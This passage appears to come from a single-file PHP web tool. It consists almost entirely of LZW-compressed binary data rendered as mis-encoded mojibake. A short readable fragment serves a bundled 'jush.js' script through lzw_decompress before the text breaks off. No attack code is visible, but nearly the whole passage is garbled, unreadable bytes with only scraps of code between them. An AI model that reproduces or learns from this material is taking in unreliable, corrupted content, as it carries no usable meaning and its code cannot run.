BÃ‰Ã±Ã³Â¼FÃ”Ã‹e>â‚¬VÃ§Å½Â©Ã‰-QjÃ‚Iâ€˜Ã…7Â§ËœÃ¾\"%RhÃˆ gÂ£Ã¡MÅ’Â³Ã¸Â«ÂÃ•-ÂbÂ£58RÃ‚â€¹Â¨â€žÂ¯Ã„*Ã£Â§9Ã”Ã†ÃªÅ Â°Â«Â·Ã”9Â¤2Q0Ã½â€¡Â¬IR[Ã¼ZÂ£ÃN\0Ã·Ã‡Ã‚20Â£Â¡Å’Ã‚Ã\\[@Ã¡Q\0Â¤Ã”Jxâ€žÃ¹Âµâ€¦Ã¤EC{Â©ÂÃ¢\$lp1=\0Â·RÃÂ¾Ã‰>E~ÃŸÃ†ÃªÃ—â€žË†Ã‘:0Ã€ËœÂ%Ââ‚¬R+)\0Â°	Ã†â€˜QÃ¡@(\"Â¡_jÂTâ€¢X\0ËœÂâ€žÃ¬\r1â€œ\0Pâ€œ9#\0â€ÃÃ´Ã²H;BÂª|Ã€â„¢Â²LÃ¶Zâ€˜Â¼Ã†Å â€¹6Ã¹/Bâ€™Ã \nBÅ¾{Ã±Ã°Ã |HÃ„,Ã¡	*;Å“Â(Ãµ`ÃŠ2@6Âª>Â¡	Ã¥?P\0/â€žÂ¹Ã³\0|\\Ã…eBÃœ`â€ºâ€™jqÂ©U/\rcÂ©Ã¼ÃªÂÃ”Ã’â€ Â¤6(N\0Âº/\$Ã \n8Âµj*Uâ€¦\$â€ºÃ±ÂºÅ y*Â³=Â¬;Ë†â€žÃ°Å¸\$ÂfÂ¬Ã¢Å¾8XÃ˜BCEÃ¾Å“r\"/Å¸Ã ÂÂªâ€škÃšÂ%\\9kÂ§Ã¹Ã¨BÅ¡Å“Ã°0Â§FÂ­Ã€(Â¬Ã°'Ã´UÃ´ÂªÂµÃ†Â®mÂ¤@kâ€°T\0Ã•Â¹EÃ¡ÃsEhyÃ²e\nÃ¤) )â€œÅ½b7ÂªÃ£Â(W%,ÃˆJÂ¤rÂ¨Ã³2DÂ¶rhEÃ¹Å¸\n0QÃª3Å  UÂ9TPOÃ€Å Ã•Ã´â€˜Â°8j|Â¤}ÃƒR<0â€¹ÃˆÃ¢â„¢Zl ÃÃ˜TÃ¡Ã¶Â°Å’ÃˆÃ™Ãš*Â¯\$ÃŽÃ€U\rÃ›\"Â¤.Âª Ts~Ã‹~(Ã°3â‚¬aÂºÂ¨Å“@Ë†Ã•+ÂÂÂlÃ `:ÃŽ`Â­:Oâ€¦iÃ¹Å¾BXÃ?ÃŠâ€žÂ¦Ã©7â€°Â¾Lj|Ã:nâ€”K:Ã˜Â²}Â²\0ÃÃ‰UMc`P%nn\n,Ã¬4Ã¡â„¢Q'%+H.Ã¨â€¹\"#GÂÃ3`Â¥Â¡ÃÃ¨Ã\n1fg\0Å¾ÃÅ“'Â¼kÂ¦Â²qxD<\"ÂÅ’,a|{~Ã¾Ã³Â¸ÃœC<SÂ»iâ€¢BÃ¯\nkNÃ¾ Ã–GÂ³}â€™Ã“Ã k:â€žâ€“ÃŽÃ®Â­Å¾Ã€ÃgÃ›)ËœJDÂ°Ë†â€¢hÃƒâ€ºfÂ¢\"â„¢kV~Â³Ã¡mM`HOâ€kDâ€¹Â¬^Ë†0/tjÂ«lÂ³\rÅ’!Ãf<ÂÃ€GÃ´Ã›TÂÂºÃ•vÂµ#@Â­ek@2Â«wÃ©Ã½Â´0ÃœÃœÂ­tÃ„Ã™â‚¬Ã„Â¯1Ã„uÃŒyvÃ‹Â%8Â±?1Â¼Ã›ÃŠlÃ¦Ã—xtÃ‡Å“mpÂ­â€ºfK3ZÃœJÂ£=\0@â€”^pÂ·Ã‚Ã›â€˜Â¹Â¶Ã¦Â³Ã¸]Ã’Â²'Ã«tÃ™Â¡@CÂ·bÃ«Å½Ã¥\r[ÃˆÃ£VÃ´Âµ-Â½Ã€Ã‹oâ€œ-Å“Â¦Ã eÂ·}Ã€Ã©YÂªÃœ	-Ã©â€¡-mÂ³I\0+Æ’ÃVÃŸDÃ›[B+â‚¬Ã§(Â-Ã™4Ã¤Â«>Â®qÃ¨â€“i>=Â½Ã®â€¡/0-Â¦cLâ€œpJ b\ndÃ¡Ã²)Ã¢Â«#Å½Ã¡GÃ‹sÂ­Â·ÂÃ¤Å¾\"Ã’QÃNâ€œÅ“Ã¸Ë†`.ÃºÃˆÂÃ”yÃˆÂEtPÅ qÃ”I]Ã³Â¤Ã«J8Â¼â‚¬Â»rWTÃ…ÃIÂÂµÃ¨â€¹fÃ·aGâ€ž.Ã«â€“â€ž7yÃ§Ã‹lÃ™Ã•Aâ‚¬Â³7'Â¥1Â	Ã¢Sâ‚¬-Ã™xIÂ§Å“mÂ·Ã‹Ã‚L:eÂÃŽâ€°AÃ†WÃ¸ÃÃŽÂ¶EIÃÃ¢â€”Wzâ‚¬Ã”3WÃ²Ã½Â°)*/)CÃŠÃ‡Ã¿x*c]Ã¬%Ã·}Â½Ã¢Ã…Â»_ÃÃŒIvÃÂ²Â½'Ëœ\$UÃ·ÃS4kâ€5WÃŠÂJCÂ®Ëœ 7*Å“b%<WC@Ã‚â€œÃ†	Ã€Â¼Â©Â»c{ÃžÂ´Â«Ã²â€Â¬3)XÃ²Ëœ&&Â¢ÂeLÃ¬Iâ€Ã¥Â¢,NÃ¬ 2k#p5 â‚¬Â´f4Â«Ë†Ã¶Ã‡ÂºÃ«zÂ¯#Ã¢Â½Ã¤\\Â®ÂºÃ Â¡Ã»NÃ¸bÃ”UË†Ã°oyÃ°â‚¬ÃˆSÃ•4Â¾`qÃ“~1â€“=Ã¬8Ã¥Å½â€°Â¸*Ã¡OOJÃªCÂ¡Ã±Â®Ã¢ÃšÃ¨'Dd,@kLÃ±Â¹Ã Â¤Æ’Ã·â€\\Ã¢j2ÃÂ©Å¾Ã„ÃªÂ±<Â³@_qÃ·2Å¸\0â€šÃ•Â±Ã)`ËœËœÃ€Å½ÃªÃ½â€¢sÂ°Â±Ã³ÂF\0Â¡Ã“Ã¢Ã€Ã–\nÂ­â€šÂFÅ¡Ã—<*Ã€x*â€¢ÂÃ€Ã«`ÂÃ”Ã Ã-Æ’Å¸\rÃ¸Ë†â€¡|@ÂÃ‘Ã±Ã”7Ã°H@wâ‚¬Ã³ÂÃ¿â€°H]ÂµÃ¥Ëœ\0ÂÂ¶ÂÃ Ã¼_wÂ¾Âµh0!Ã‹sÂ¢1ÃÂÂ¾Â¦Ã‡Â¬â€žhWÂ°â‚¬.ÃƒÃª=WÂªÂR*Ã·A_Ã†â€Ã¥EDÃ”Â· ?1,UbÃŒ9=tÃˆ4ÃƒÂ¨Â¤Ã¤ÂWË†Â¢^Ã¥Ã¤Ã™;â€˜ÃŸÃ¨Â±ÃŒ@â„¢Ã²(1<DÃ¢EÃŒâ€šHxÂ©T()0zÅ `Ã‘_Ã;Â¨â€ºALÃ©Â±)\nÃŒK[fË†Hâ€”Å’â€°Woâ€”@bBKÃ€iMÅ Â±Ãƒd+Ã¯>Ã¨vIÂ¶(z:Ã¤Ã.Ãâ‚¬Ã€ 9uiÃ‘Â¤DYÃ–Ã¢Â¾Ã»Ã‰O`Ã¶Â®Ã¡]I\0Å’Â°RÂÃ„â€ ,K,Ã·Â¨Ã£6LÂ¸Ã„\"\"Â£1gÂª(â€¢Â­â€ |T.,Ã±9vb+\rk]uÂ¶&Ã¨Â©|Â©Ã¥bÂ£SÃÃ…d[Â¼,gÃªÃ¨aJÂº(CÃ„Ã¶kÂ¤â€\rFÃ˜Ã‚â€œ+	â‚¬Ã±Å’9Ã¢Ã‚LÂ©Â¹)Ã‚Å½)UAÃŸBâ€°Uâ€ hÃ‚gÃ â€™c3xÃ±-n9Â±ÃºÃ¼Â»Ã¤xÃˆÂ®2Â¯Â´qÂ¬ibÃ–rY7Ã©â‚¬kÃŒyÃ¬fË†, Â§ÂÂ¼Ã ÃŽ)Â¬Ã™ÂªÂ¤J:Â«NÃ‚8ÃœRcly\nÃµÂ¼2Ã…WÃ´;Â¬.>Ã…v6Q#A0Â­Ãª{ÃŽÂ­iÃ¹Ã¯Â7~@VXÃ€â€¦Â¢^Â¿Ã¥11-Ã‰+Ãv|Â£Ãœ]VfÂ¸Â¢Ã».â€º{	Ã¡Ã’Ã€\rÂ·Â§;Ãª1lpÂ°/Ã™ÃµuFâ€˜Ã‡dâ€°\$PÃÂ®0=@kSÃ†0hâ€ºÃÃ‰Ë†Ã‚Å“@â€˜Ã‘/*(OÃ¦V.â€¢Â´G>â€°(rÃ‹ÃŽ!Ëœ6Ã ÂªÃ·â€¦Â®Ã²Y=XZ@Ã‚:Â²'&0Â6kE|Å¡â€œÃ'|H;â€œÂ¼Ã¦NÃ²â‚¬gÃ’%Ã‹Wâ„¢+Ã‚Ã¦Â¯4Ã¹;ÃÆ’Â¯Â¯'x|Å¾fÂ©9Â­ÃŒÃš(OÂ¨Ã°dÂ¦Â§Ã©Â·w%9]Â¦Ã—f}ÃŒÃƒGÃ–Ã”Ã„sÂ¦ÂµÃ§Ã‚Â¾ÂÃ³Ã“â€¦Ã·XM0ÃÃ©Å’â€ gQÂ·ÂªÂ¶8ÃŒâ€žÃ¹+O}Â¶ÃÂ0}â€™9â€žÃ–ÃÃžÂ»â€“ÃŸNhÃŽ/mgDÂÂÃ©â€œsâ€¦Â°Ã¼Â¦Ã„Ã \nÃ74Ã¥â€¹Â³P~}O)Â©UgÃœ9Ã¹Ã‰Ã–jÂ§8PÅ“â€žÃÂ¸Ã(Ã%Ã„Ã³Ã¶Ã›jÃž7oABÃ—Ãi)Ë†Ã¼KÃ²â€žÂ½Ã™uÂ¤Ã«Â´ â€¦}sÂ±1Ã¨=odÃV[Ã„Â´\nÂ¬Ã§Â²zlâ‚¬MÃÂ·r:F#{Ã–Ã°*#Â°xÅ“ÃœÃœÂ°Â¯<DsÂ½â„¢k/mw :^Ã¦Ã«Â¦Ã¢Ã‰1Â¿Ã„ÃÂDÂ¨Ëœ2Âºz*Ã‘Ã²nâ€™Âª%Ã´ÃžÃ¥Ã“ÃšiÃ¢Ãƒâ„¢ *ÃŠ!8-Â·Ã¡Â¦tHâ€¢'Ã­â€žÂÃ£\rÃÃÂºÃ4â„¢Å¾Ã¤Ã8`â€šÂ¿\"â€Â¡Â»Â»Å½i]â€™ZZÅ“>Z\0ÃžÂ¦9Ã»â€Ã¬Ãš+Ã¤Å¸â€š~â€ Ã¡\$ÃžÂ­â€žâ‚¬LÃ„P\\Ã¬â€¡ÂÂXAÂ©Â¬ Ã¨Ã€Ã³Å’ÃiÅ¡Ã§Ã§zÃ’hÃ‚\$Ã·Ã‚â€¹SMÃšT'â€¢Å¡â€ž1Ã—Ã¨ÃDÃÃ¢	ËœÃ‹5EÂ©\0Ã„Å¾\$Ã£ttÃ”Â®Â¥Ã¬:\rMÃ†Â·SÂ¦Å¡Ã“â€“â€“lsÂªË†AfÃ–KÃ k,Nâ€¦lÃ›D^zzÂ²dSËœÂ®/rtÂ²NÃ¹>ÂÃ½o%iÂ¥Â½\0JÂ¯BÂ©poÂ¢ÃœRâ€œâ„¢ÃƒÃª/Ã–ËœÃ™Â«x\nyÅ“+Â«Ã¬,e4â€šÃŽq5Q'JDË†]Â¿B@mÃ“Â´ÃˆÃƒRÂ§Ski~ÃºÃœÃŽÂ¶t0Ã§[ 1â‚¬z	â€¢â€¢Â&Ã—Ã»^â€œ\nOÃ•Â¶Â²Ã‰VÃ·Ã«Ã€Â³GV@T*ÃžH9Ã‘Ãâ€°G0\0'Ã–`ÂÃ‘Â°\râ€¡Ã¥Ã»bQKsLdâ€¦*;\nÃ¡ÂÃ—Ã¦Ã.Ã„â€UNpÃ ,LÃ¢@TRÃ e Ã¸bâ‚¬Å“FÃ€Ã¸ËœyÅ¸n> IKÃ€Â¶rGÃ»	@Ã™â€š?cIâ€™Ãâ€œu%GÃ¶OÃ´1â€ž Ã–CÃ¶hÂ¦5TÃ¼yâ€žÃ¼IÂ­Ã™:\\0Â¼Ã XÂ¥Ã‹>Ã¶ÃŠÅ Â0Ã‹ÃžÂ¾Ã»QBÂ¶â€¡Â©EI/-LBTÃš!bÃ¯Å“Ã·6Å½Ã¬Ã¿k`jp\0Kâ€žâ€žÃ‚>kÆ’dÅ¡Ã¢ÂÃ„/Ââ€¢Ã¤ISk.+*ÃÃ»Â¡Râ€º|gRÂ¡Ã½Ã¸W\\wÃ¹Ã‚Ã“tÃ .)Â¤^Zc8Ã•Zâ‚¬~FÃ€Â°SÃ‡ÂµÃ”SÂmÃŒâ€¢;b>\0jz=Ã®Â¢T'Ã>ÃŒÃ¥qâ€¹y}:Â»uÂ§Âµ&Ã¥Ã€WÂºDQÂ¢Ãc-ÂªÃ‹Ã¾Ã‡6<[Ââ€¡eÃ·xâ€ºÃ˜ Ã¨ÃÃ®[ÃºÂ¹ÂLÂ©\0wmÃ¹lÂ°tâ€¢zÃ«Ã§<Sâ‚¬&Ã°Ã¥dbÃœxÃÃºoiÃ¢gKÂ©\r`Ã–Ã‚ÂµÃ”?D5u@bÂâ€˜â€žNÂ¸Ã Oâ€¢Ã°Â¤Â·Â¤Ë†Ã­Ã¸YÃ”[ÃµÅ¸Ã¨Â£Ã€Ã±{ÃƒNÃ¯ÂÅ“rÃ©â€°Å¾Ã»tÂ±Â¾Ã³\0Ã¯Ã…tMsÅ¡cBW?Â°*DÆ’.pÃµâ‚¬Â¤'2Ââ€¢Ge\rp*#Â­eÂ¹ÃÃªÃšÃ…CÃ½Ã“Ã¸\"Â³QI\nË†â€šhiÃ¸QÃ@Å’â„¢Ã¡\rl	Ë†ÃŸÂ´Ã _.â€¡Â¤ÃŠt*Ã¡^Å“Ã¸sÃ9Ã°â‚¬Ã¯WhqÃ•ÃªÂ¸~,Â¤Ã¡YÃŽÂ¸â€šÃ„dQsÃ‚Â¦\râ€¡BjÂºÃµDÃ¿Ã‡Â¡ Ã±<<T)CÂ´\nÂ¶Å Ã¸Â°Ã&Â¹D{\rÃlÃ–Ã°Ã‘-RÃ£ÃŠ\r@rkÂ§Ã©â€“ÃÂ¢Ã¸ +ZÃ­Ã»Ã¯PÂ¾Ã›Ã–ÃŽÃ¨Ã©u8ÃˆÂ¨Ã´Ã‡â‚¬ÃšsÃ£Ã™Ë†Å Ã¸Ã³oÃ§Â#Ã¤ÃŠgâ‚¬ÃˆuÃ¯â€ºÂ¹\$FÂ&\n-v\"PÃœÃŽÃ¦Â¶Ã›jÅ¡nntÃ«1ÂÃŸVÂ®Â§Â»Â¥Ã¶ÃªAwbxÃŸâ€žÃ„DÃ‘5Ã¡Ã-Ã”0Â³aÅ“\0\rÂ§/!ÃˆIÂ¢Ã‘ÃºÃ­|/â€°â€šâ€šÃžhâ€¦Ã¡nâ€žGf-MdnaË†^(eÃ¯aÂ´Â¤Ã‚Â¨Â·YÃžÃZ,â€ Sâ‚¬EÃ¶Nâ€˜Æ’\\Â§Ã•Ã³â€ºÂ¸=Ã’4~MÃÂ´Â¸\rÃ†Ã«Ã½Ã’Ftâ€¢Ã…Â¦Ã±u\"|`Ã‘Ã’EÃ¡Â²Ã€RÃ³zÅ“Ã‚DÃŒ`Ã¢{Ã„Ã¨@â€œk/KÃ¦YÂ¹Å¡Å Â®3sJÂ¡Ã¤Æ’Â¿5XGÃÂªâ€%Â®9)QÃ Â Â£QÃœÃ¤Ã¡Â¦1tâ€¢hÂ¶Ã´!TRÃ¦Â²Ã±Ã‘HÃ‚Ã¢ÃšQÃ\rÅ¸CÃ¥ÂEÃ”0â€”#wÃ§G2Ã‚Ãž/Â¾ÂÃ–/Ã§â€šÃ©=^ â€“/Ã”ÂºÃ±ÃŽÂÃŽÃ„Ã™Ã‹Eâ€™Â¬\0{+Ã²Ã¼â‚¬tâ€“+Â¨Ã¤qÃŸÃÂ±ÂªÃ¦â€“IÃtÂ·|ÃºÃ·ÃˆÃ•vÃªÃ°qÂªÂ¹Ã”Ë†Ã†Å’&Ã\r\\Ã«VÃŸ =â€“Â°ÂEbÃšÃ«nOÃŽrnâ€ºÃªâ€˜X({â€¡Ã‰Â¹uzKÂ­Â¯`=:Ã¸\nÃºÃ„ÃŸÃ·\0ÂªÃªÃ‡Ã[Ã©%â„¢:pÂâ€Ë†q+Â¦Ã”Râ€™ldYâ€Ã«Â\"Ã…Ã‡[VÃu{H-Â­ÃHÃ—_Ã½Ã¢Â¢8jâ€°Ã«Vâ€ Ã•5Ââ‚¬â€™Ã \"\0\"N?E;+Â°O~Â»wNÃƒ];LÅ“'â€žâ€°Ã­SOFË†ÂÃ”ÃªÃ¤ÂÂ»Å¾Â±DÃ¦-Ã—!#sNÃ‰<Ã•ÃªÃ´ Ã‚Â¯Ã‘Ã¾muÂ³Â¤ÃˆÃ³GÂ¯8Ã»ÂÃŽTn]ÂÂ¶Â¼ÃŽÃ¡:ÃºzIMnÅ“ OÂ°8Ã€Ã¨Ã„z5ÂÂâ€¦o\\5Â7Â<Ã…ÃÃ…Â²#8Ã¢Â¨Ã±Ã©?sNÃ®Âºâ€¢Ã›LÃµÂ¸	}ÃºxÃ®Ã–&4Ã®â€ ?Ã§[Ã zÂ½â€“Ã´Ã³Â³Â·Â¶Ã‰Ã½Â¡Å’<*WÂÂ¸Ã¨ÃÃ³Ã€e}{HZâ€¹Â§Â±,(<oÃ”oÃ€xWÂ¨tÂ¶2Ã­ÃÃ# A*Â·Â¡Â»ÂÅ¸o\\Ã§Â¼RÂ²}xH>NPÂ¸|QÃ‰Å¡|xÂ°'Ãˆ-Â° Ã›Ã…2\0 Ã?Ã†Â¾2*\r|]tÃ¶â€¢pÃ¡\"Â¢ÃšÂ²JuuXybÃžD\nÃŠZ|â€žH7 _Ã²Wâ€˜Â®Ã¾GuXyH>T\rÂ¨GÂ»Ã¤Ã¾ËœQlË†Â¼Ã±Â¨Ã‰Æ’Ã‚Ã§n!ÃŽu'Ã„*ÂºC5Â¸Ã>UÂª2!b	Â£Å½9PwÃ‚Ã4Ã¥Ã¼â€ºÃµÃ¡Â¢}yÃ¨WÃž|Ã±Ã¢Å½Âa\$Â¾gâ€ Ã©ÃªÃ Ã³TÃ‡UÃ‹Â¡&~9(\\*Â½!b_ÃÃ¹Ã»â‚¬wÂ±7\\Â£Ã‡Ã°â€¹]=ÃŸ\\*Ã¤Â­â‚¬@Ã°#N7ÃÂªÃ¨Â¯Ã5QN`@<\0Â°6!â€°9Ã†Ã‘lâ€¦Â¥\$Ë†wI\$4 ÃµÂ¾2â€“Ã«\$Â¥&â€šÃÃ¬.RZÃ²Ã â€”Â³Yâ€ â€ºuyÃ¡Â¤Â³Ã¬pÃ¥â€¡&SIÂ®Ã@Â¨EJiLâ‚¬cÅ½ÃµÂºVÂ®1FÃ±1â€¦Ã¤Z\r\rÂ¦â€šÃ hâ€œÂ¡kÃšÂ»Ã¶HHÅ Ã±Ã‹Â¿Â®ÂªÂªÃ¶Ë†KÃ½Â§ ?xÂµÃ¢-0\nÃ›ÃªdÃN3KÃ³â€žCÃ“59)Ã„Â¾:B#Å½Â¨ÃŒdN5A1â€Ã†â€°Å¡Ã†Ã¸ÃŒOd[3Ãš Å“Ã¡hâ€“[s~)Â±9 DNÃ¢yÃ¸Ã¡Ã±Ã¾>â€Ã¢Ã€XÂ±Å¸'ÃˆÂ½ÃŽÃÂHÃ¨Ã²Ã§,â€“Ã®)Ãšâ€šÂ½\"Ã‚eÃ³0;\0Ã‹qeo>Â¦Ã›=Â®|Â«2Â¦G+BÂ¨@zÂ·Ë†Å¾ÃÃ¤Ã¸Ã²@]}ÂÂrQÃ®ÃÃ’ k/Å |Ã­GÃ±:Ã‘Â¯Ã¤W\0Ã§a4>â€Ã²^|ÃµÃ¯Æ’Ã¬gÃoÃ»XEÃ¤9pâ€¦Ã¼Ã…Lrgâ€œAâ€”Ã„6Â¼ËœpÂ¿eÃºÃ¯Ã›Ã‡1Ã¯Â´*Ã…Ã«Ã£Â½7ÃšÃ€[Ã¶>]Ã½#Ã«?jBÂ¨~Ã–/Â¿}Ã…3Ã¿:Ã»Å“U\$Ã°?Â¼<â€¢Â¿GÃ¼Ã¤aÃ¿Ã¯Ã\n>0#!iÆ’>.{A}'hQÃ¿LwÃ«~Å¸W_Â¨Ã®ÂªTh#dÃ€Ã…ÃƒÂ»â€“ÂªdÅ Å¸FQÂ¸â€œÂµÃ³Ã¢*{Ã¦Ã¸\"â€°\"Â¤P{ÃµÅ¸Ã }Ãž4 NÃ—Ã•Ã“iÃ³Å¸Â­Ã•\r_Ã…ÃŠÃ˜Ã„e?l4Ã€2Â¡?\nÃ¥â€”Fâ„¢Ãº	Ã¥Ã´qÃŽUÃ¯Ã—Ã„Â½Â°_ÃÃ¿`_Ã¼ÃµÃ‡Ã Ë†jÃ½Â¬{_k_Ã›oÃ·~Ã¿Â¿c*#Ã¿(Â´/Ã¼!DnÂ¤FÃ¿`Ã¯Ã¼?@sÃ´BÃš!Â®?;ÃœEÃ¢Â²ÃºÃ¿â€œÃ¾ÂÂ¾Ã¿\0kÃ¾	Ã¿*NÃ½Ã¬D;Â¼ÃµÂ°+d\nZZdBÂ»Ã€Ã· â€¹Å `B5Ã¦P\n8Â¬Ã–Ã©Ã Ã°â€¡ÃŒc#ouÂ½Â¤kÃŸÃ‹Å Mâ€œÃÂ¯wâ€¡.Ã¬ÂªFÃ€JÂ¦Ë†Ãˆ!|Â®Ã„Ë†2Fcâ€¹Y).Â¬Â§ÂºÃ´XHyÃ²[Ã«Ãª~Ë†â€ Ã¹â‚¬#/â„¢&Â¢Â£Ã¶Ã£[Ã€ Ã¿Ã±Ã‚Å’Ë†Y@Ã½Â¨Ã€(|\r\0,OÂ¼Ã±0YbÂÃ”ÃŽÂ²Ã…Â¬Ã¯\$0Ã—Ã“Ã›aÃ‹â€˜â€“ÂÃ€â€œÃ‰ Ë†A\$Ã‡Ãº0,Ã‹@ÂªÃ“Â°>>9ÃºÃ\\tÂiÃ¸<â€”\0Ã£â€”q\0Ã„}@`Ã±\0fVjÅ¾Æ’Â°Â­dÃŸ '(â€œâ€šâ€ â‚¬	!_Â²nÃµ 0+câ€™Â´Âµiig8a]'=-Â¬B!(Â§Ã˜8â€ _ÃÃ«Ã†xÂ²jÂ©Å½Å’Âµâ€)\rH5HÃ¯Æ’Yn	,fÂ«rÅ“Ã­}-d\$Ã²Ã–H Â¬2nÃ©Â´â€ Ãœâ€ºÃˆ=Ã -Â­dÂ©â€œâ‚¬FE-dÃ¡Ã©Â¨aÂâ€šN_z4@â€Ã€[Ã¨nÃ£Å’\$x!!i0TÂªÂâ€ÃŠuÃ€8ÃŒÃ‰Â¸â€¦Â¼Â¯Ã¾\0PZ8ZÃÂ¹â€ ÃªcÃ§Ã ÃÂ®+ÃÅ â€°AAF(Ã¤ÃÃ˜Ã›`mg*Â¸vS, Ã‡â€ ÃœÃ°KcAÃ¾Ã›Â¬ &Ã„Â¨9ÃªÃ€â€¦ÃÅ Ã¼cÃ0wâ€¢+Ë†nâ‚¬ÃŽ=â€ºÂ°)\$Ã«â€¦ÃQÃ°~AÅ Ã›aÃ¦\0004\0uÃ±{Ã„(Â´Â¤\$Â°ÂÂ­y	!Â°â€žBâ€¹Ã› A<Âµaâ€žâ€˜Az Â¨ÃÂZA4\$ZY9.aX\râ€¢Ë†dÃšAË†LÃ‚v|oOz|ÃŸÃ‚Å¡ZÃœ(Ã®eÃ­ZÂ£Ã„â€ Ã€");}elseif($_GET["file"]=="jush.js"){header("Content-Type: text/javascript; charset=utf-8");echo
lzw_decompress("v0Å“ÂFÂ£Â©ÃŒÃ==ËœÃŽFS	ÃÃŠ_6MÃ†Â³ËœÃ¨Ã¨r:â„¢Eâ€¡CIÂ´ÃŠo:ÂCâ€žâ€Xcâ€šÂ\rÃ¦Ã˜â€žJ(:=Å¸Eâ€ ÂÂ¦a28Â¡xÃ°Â¸?Ã„'Æ’iÂ°SANNâ€˜Ã¹Ã°xsâ€¦NBÃ¡ÃŒVl0â€ºÅ’Ã§S	Å“Ã‹UlÂ(D|Ã’â€žÃ§ÃŠPÂ¦Ã€>Å¡Eâ€ Ã£Â©Â¶yHchÃ¤Ã‚-3Ebâ€œÃ¥ Â¸bÂ½ÃŸpEÃpÃ¿9.Å ÂËœÃŒ~\nÅ½?KbÂ±iw|Ãˆ`Ã‡Ã·d.Â¼x8ENÂ¦Ã£!â€Ã2â„¢â€¡3Â©Ë†Ã¡\râ€¡ÂÃ‘YÅ½ÃŒÃ¨y6GFmYÅ½8o7\n\rÂ³0Â²<d4ËœE'Â¸\n#â„¢\rÃ²Ë†Ã±Â¸Ã¨.â€¦C!Ã„^tÃ¨(ÃµÃbqHÃ¯Ã”.â€¦â€ºÂ¢sÅ¾Ã¿Æ’2â„¢Nâ€šqÃ™Â¤ÃŒ9Ã®â€¹Â¦Ã·Ã€#{â€¡cÃ«ÃžÃ¥ÂµÃÃ¬3nÃ“Â¸2Â»ÃrÂ¼:<Æ’+ÃŒ9Ë†CÃˆÂ¨Â®â€°Ãƒ\n<Ã´\r`ÃˆÃ¶/bÃ¨\\Å¡ Ãˆ!ÂHÃ˜2SÃšâ„¢F#8ÃË†Ã‡IË†78ÃƒKâ€˜Â«*ÃšÂºÂ!ÃƒÃ€Ã¨Ã©Å½â€˜Ë†Ã¦+Â¨Â¾:+Â¯â€ºÃ¹&Â2|Â¢:Ã£Â¢9ÃŠÃÃš:Â­ÃNÂ§Â¶Ã£pA/#Å“Ã€ Ë†0DÃ¡\\Â±'Ã‡1Ã˜Ã“â€¹Ã¯Âª2Å½a@Â¶Â¬+JÃ¢Â¼.Â£c,â€Ã¸Â£â€šÂ°1Å’Â¡@^.BÃ ÃœÃ‘Å’Ã¡`OK=Â`Bâ€¹ÃŽPÃ¨6Ââ€™ ÃŽ>(Æ’eK%! ^!ÃÂ¬â€°BÃˆÃ¡HSâ€¦s8^9Ã3Â¤O1Ã Ã‘.Xj+â€ Ã¢Â¸Ã®M	#+Ã–FÂ£:Ë†7Å½SÃš\$0Â¾V(Ã™FQÃƒ\r!IÆ’Ã¤*Â¡XÂ¶/ÃŒÅ ËœÂ¸Ã«â€¢67=ÂÃ›ÂªX3Ãâ€ Ã˜â€¡Â³Ë†Ã^Â±Ã­gf#WÃ•Ã¹gâ€¹Ã°Â¢8ÃŸâ€¹Ã­hÃ†7ÂµÂ¡EÂ©k\rÃ–Ã…Â¹GÃ’)Ã­Ãtâ€¦We4Ã¶VÃ˜ÂÂ½Å â€¦Ã³&7Â\0RÃ´ÃˆN!0Ãœ1WÂÃÃ£yÂ¢CPÃŠÃ£!Ã­Ã¥i|Ã€gnÂ´Ã›.\rÃ£0ÃŒ9Â¿AÃ®Ââ€¡ÃÂ¸ÂÂ¶â€¦Ã›Â¶Ã¸^Ã—8vÃl\"ÂbÃ¬|â€¦yHYÃˆ2Ãª9Ëœ0Ã’ÃŸâ€¦Å¡.Å½Ã½:yÃªÂ¬Ã¡Ãš6Â:Â²Ã˜Â¿Â·nÃ»\0QÂµ7Ã¡Ã¸bkÃ¼<\0Ã²Ã©Ã¦Â¹Â¸Ã¨-Ã®BÃ¨{Â³Ã;Ã–Ã¹Â¤Ã²Ã£ WÂ³ÃŠ Ã&Ã/nÃ¥Â¥wÃ­Ã®2AÃ—Âµâ€žâ€¡ËœÃ¶Â¥AÃ0yu)Â¦Â­Â¬kLÃ†Â¹tkÃ›\0Ã¸;Ã‰dâ€¦=%m.Ã¶Ã—Ã…Âc5Â¨fÂÃ¬â€™Ã¯Â¸*Ã—@4â€¡Ã Ã’â€¦Â¼cÃ¿Ã†Â¸Ãœâ€ |Â\"Ã«Â§Â³Ã²hÂ¸\\ÃšfÂ¸PÆ’NÃÃ°qÃ»â€”ÃˆÃsÅ¸fÃŽ~PË†ÃŠpHp\n~ÂË†Â«>T_Â³Ã’QOQÃ\$ÃVÃŸÃžSÂpn1Â¤ÃŠÅ¡Å“ }=Â©Å½â€šLÃ«Ã¼JeucÂ¤Ë†Â©Ë†Ã˜aA|;â€ ÂÃˆâ€œNÅ¡Ã³-ÂºÃ´ZÃ‘@RÂ¦Â§ÃÂ³â€˜ ÃŽ	ÃÃº.Â¬Â¤2â€ ÃÃªÃ¨â€¦Âª`REÅ Ã©Ã­^iP1&Å“Â¸ÃžË†(Å ÂÂ²\$ÃCÃYÂ­5Ã¡Â¸Ã˜Æ’Ã¸Â·axh@Ã‘Ãƒ=Ã†Â²Ã¢ +>`â‚¬Ã¾Ã—Â¢ÃÅ“Â¯\r!ËœbÂ´â€œÃ°râ‚¬Ã¶2pÃ¸(=Â¡ÃÅ“Ã¸!ËœesÂ¯X4GÃ²Hhc Ã­Mâ€˜S.â€”Ã|YjHÆ’Ã°zBÃ SVÃ€ 0Ã¦jÃ¤\nf\rÃ â€šÃ¥ÃÃDâ€˜oâ€Ã°%Ã¸Ëœ\\1Ã¿â€œÃ’MI`(Ã’:â€œ! -Æ’3=0Ã¤Ã”Ã Ã¨Â¬SÃ¸Â¼Ã“gWâ€¦e5Â¥Ã°zÅ“(hÂ©Ã–dÃ¥rÅ“Ã“Â«â€žKiÃŠ@Y.Â¥Ã¡Å’ÂÃˆ\$@Å¡sÂÃ‘Â±EI&Ã§ÃƒDfâ€¦SR}Â±Ã…rÃšÂ½?Å½x\"Â¢@ngÂ¬Ã·Ã€â„¢PI\\Uâ€šâ‚¬<Ã´5X\"E0â€°â€”t8Ââ€ YÃ©=â€š`=Â£â€>â€œQÃ±4Bâ€™k Â¬Â¸+p`Ã¾(8/NÂ´qSKÃµrÂ¯Æ’Ã«Ã¿iÃ®Å½O*[JÅ“Ã¹RJYÂ±&uÃ„ÃŠÂ¢7Â¡Â¤â€šÂ³ÃºÃ˜